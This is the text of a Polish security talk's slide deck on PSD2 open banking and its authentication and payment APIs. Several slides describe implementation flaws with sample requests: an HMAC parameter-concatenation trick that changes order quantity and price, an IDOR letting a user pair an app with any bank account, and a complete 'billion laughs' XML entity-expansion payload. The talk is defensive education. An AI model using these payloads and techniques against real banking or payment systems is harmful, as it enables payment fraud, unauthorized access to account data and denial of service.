Rok 2019 może dużo zmienić w świecie bankowości, fintechów, e-commerce i płatności elektronicznych, również w zakresie bezpieczeństwa. W tym roku wejdą w życie regulacje dyrektywy PSD2 dotyczące interfejsów API które banki muszą udostępnić dla podmiotów trzecich oraz silnego, wieloskładnikowego uwierzytelniania i autoryzowania operacji finansowych. Jak to wpłynie na bezpieczeństwo usług bankowych i płatności elektronicznych? Tak jak przy każdej zmianie, wiele zależy od szczegółów. Przede wszystkim od sposobu implementacji interfejsów API i funkcji uwierzytelniania wieloskładnikowego. Testując bezpieczeństwo nowych aplikacji finansowych ekspert miał okazje zaobserwować niektóre trendy i zebrać informacje o typowych błędach popełnianych podczas implementacji. Podczas prezentacji prelegent przyjrzy się technicznym wyzwaniom związanym z bezpieczeństwem w kontekście PSD2. Omówione zostaną niektóre podatności spotykane w funkcjonalności uwierzytelniania dwuskładnikowego (2FA) i autoryzacji transakcji (w tym w zastosowaniach biometrii) oraz w interfejsach API do usług bankowych. Przedstawione zostaną również dobre praktyki odnośnie implementacji 2FA i interfejsów PIS/AIS.

1. Czy S w PSD2 znaczy Secure?
Łukasz Bobrek

2. #whoami
Łukasz Bobrek
Starszy specjalista ds. Bezpieczeństwa
Bugbounty
Research

3. Agenda
1. Open Banking i PSD2
2. PSD2 – wpływ na bezpieczeństwa
3. PSD2 – potencjalne błędy w implementacji
4. Podsumowanie

4. Open Banking
http://i.imgur.com/mU1WMKs.jpg

5. Open Banking
https://www.pwc.co.uk/industries/financial-
services/insights/seize-open-banking-
opportunity.html

6. PSD2 - Payment Services Directive
Co zostanie wprowadzone:
SCA – Strong Customer Authentication
PIS – Payment Initiation Service
AIS – Account Information Service
TPP – Third Party Providers
Kogo dotyczy:
Obowiązkowe dla wszystkich „Payment Service Providers”

7. PSD2 – oś czasu
25.11.2015 20.06.2018 14.03.2019 14.09.2019
Przyjęcie
dyrektywy nr
2015/2366 przez
parlament UE
Przyjęcie RTS
przez
parlament UE
Przyjęcie ustawy o
usługach
płatniczych w
parlamencie PL
20.03.2018
Interfejsy API
muszą być
gotowe do
testów przez TPP
Termin wdrożenia
produkcyjnego
interfejsów API

8. Open Banking
https://medium.com/iveyfintechclub/open-banking-apis-creating-real-options-in-
making-investment-decisions-330d2c9552cf

9. RTS – Regulatory Technical Standard
https://polishapi.org/

10. Strong Customer Authentication (SCA)
Weryfikacja tożsamości – min. 2/3 z poniższych:
– wiedza (coś co wiesz),
– posiadanie (coś co posiadasz)
– cecha (coś czym jesteś)
zarówno dla uwierzytelnienia jak i autoryzacji
transakcji

11. Payment Initiation Service (PIS)
Icons made by Madebyoliver and Freepik from www.flaticon.com
11
Sprzedawca
PISP –
Bank / Fintech
Bank
Użytkownika
Bank
Sprzedawcy
PIS API
Użytkownik
scraping

12. PIS – scraping
12

13. Account Information Service (AIS)
Icons made by Madebyoliver and Freepik from www.flaticon.com
13
AISP –
Bank / Fintech
AIS API
scraping

14. AIS – scraping

15. Third Party Providers (TPP)
• Kim są?
• Czy możemy im
ufać?
• Czy są tak
bezpieczni jak
Banki?

16. Nowe-stare scenariusze ataków
Wnuk
https://zaufanatrzeciastrona.pl/post/nowa-atak-na-konta-
bankowe-czyli-czemu-wszyscy-oszukuja-na-dotpaya/

17. Implementacja SCA / PIS / AIS
Poważne konsekwencje!
• Podatności w
płatnościach
• Nieautoryzowany dostęp
do danych bankowych
• Ominięcie
uwierzytelnienia

18. Błąd w implementacji #1 – SCA

19. Błąd w implementacji #2 – PIS
1. Sprzedawca dodaje bibliotekę
dostarczoną przez TPP do swojego
sklepu online.
2. Biblioteka po wyborze sposobu
płatności generuje hash identyfikujący
transakcje :
tpp.pl/?hash = 32528hjdhr8923u4…
3. Hash jest generowany ze sklejonych
ze sobą parametrów transakcji oraz
klucza prywatnego sklepu
quantity=1 unit_price=4300
HMAC(“PLN31337iPhoneXS143009459941c
22”)
HMAC(currency + merchantID +
product_name + product[0].quantity +
product[0].unit_price + private_key)
quantity=14 unit_price=300
HMAC(“PLN31337iPhoneXS143009459941c
22”)
Source: http://codel10n.com/how-to-hack-payu-buy-10x-more-same-price/
Zamówienie: 14 x 300 = 4200 PLN
const

20. Błąd w implementacji #3 – AIS
Parowanie konta uzytkownika bankowości
z aplikacją TPP
POST /rest/v1/context/844763/open/api/init/prepSign HTTP/1.1
{"$objectType":"OpenApiParameters","accountID":95186089,"appType":"web","sy
stemType":"ALL"}
API akceptuje dowolną wartość parametru accountID
Użytkownik może sparować swoją aplikację TPP z
dowolnym rachunkiem bankowym!

21. Błąd w implementacji #4 – Technologia
POST /getToken/ HTTP/1.1
Accept-Encoding: gzip, deflate
(...)
<?xml version="1.0" encoding="iso-8859-2"?>
<getToken-request>
<head>
<initiator>WEB</initiator>
<date>2019-01-27T11:04:12Z</date>
<id area=‘XXXXXXXX' seq='8' tstamp='2009-08-
27T11:04:12Z'/>
<channel>WEB</channel>
</head>
<auth>
<operator>FINTECH</operator>
<client type='BANK'>XXXXXXXX</client>
</auth>
<request>
<generic-token-create>
(...)
</generic-token-create>
</request>
</ccmf-request>
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

22. Podsumowanie
• 2FA dla wszystkich (z kilkoma wyjątkami)
• Brak “scrapingu” (z kilkoma wyjątkami)
• Nowe interfejsy API
(nowe możliwości == nowe zagrożenia)
• Wykrywanie nadużyć będzie trudniejsze (…do czasu)
• Więcej podmiotów będzie mogło zarządzać danymi
płatniczymi (ale czy powinniśmy im ufać?)
• Więcej podmiotów będzie mogło inicjalizować płatności
(nowe scenariusze ataków)

23. Podsumowanie
• Błędy w implementacji -> poważne konsekwencje
• Duże zmiany -> dużo niewiadomych
• btw. S w PSD2 nie znaczy Secure ☺

24. Dziękuje za uwagę!
• Aplikacje mobilne i jak je złamać?
• Krótka historia o phishingu
• Ciekawe przypadki podatności XXE
• Krk Analytica – stadium wycieku danych z chmury AWS

25. DZIĘKUJĘ ZA UWAGĘ,
lukasz.bobrek@securing.pl